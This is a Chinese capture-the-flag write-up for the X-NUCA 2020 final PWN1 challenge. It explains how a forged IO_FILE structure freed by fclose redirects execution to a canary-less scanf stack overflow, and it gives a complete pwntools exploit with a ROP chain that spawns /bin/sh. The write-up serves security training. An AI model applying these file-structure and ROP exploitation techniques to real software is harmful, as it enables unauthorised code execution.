X-NUCA 2020 Final 个人赛:PWN1

32位静态链接程序,开了canary和NX,可以溢出可控的IO_FILE结构体,之后会fclose该结构体,所以非常容易控制流劫持。但因为静态链接,也没有后门函数,只能靠系统调用,但因为没法控制栈,也就没法找到一条gadget就能完成execve(“/bin/sh”,0,0)的。比赛时没做出来,比赛后发现他还有个没有canary可以输入的栈溢出函数,控制流劫持到这然后ROP就完了。

附件:pwn1

这个存在栈溢出的函数在0x0804A0C0

int garbage()
{
  char v1; // [esp+Ch] [ebp-1Ch] BYREF

  return _isoc99_scanf("%s", (char)&v1);
}

并且没有函数调用,不愧是垃圾函数:

image

不过后来想想其实可以找到这个函数的,找找输入函数的交叉引用,这也算个经验吧:

image

最终exp如下:

from pwn import *
context(arch='x86',os='linux',log_level='debug')
myelf = ELF("./pwn1")
io = process(myelf.path)

# a vul function can be stackoverflowed and have no canary
hijack_addr = 0x0804A0C0 
iofile_addr = 0x08104ce4
iofile_stuct =  p32(0xffffdfff)
iofile_stuct += '\x00'*0x90
iofile_stuct += p32(iofile_addr+0x98)
iofile_stuct += 'a'*8
iofile_stuct += p32(hijack_addr)*10

# overflow the file pointer and tigger close(file)
payload = '/bin/sh\x00'+'a'*24+p32(iofile_addr)+iofile_stuct
io.recv();io.sendline(payload)
io.recv();io.sendline("3")

# stack overflow and rop 
bin_sh   = 0x08104CC0
gadget1  = 0x08066038 # pop eax ; pop edx ; pop ebx ; ret
gadget2  = 0x0808f26e # inc eax ; ret
gadget3  = 0x0804ab3f # xor ecx, ecx ; int 0x80
payload  = 'a'*32+p32(gadget1)+p32(0x8)+p32(0)+p32(bin_sh)+p32(gadget2)*3+p32(gadget3)
io.sendline(payload)
io.interactive()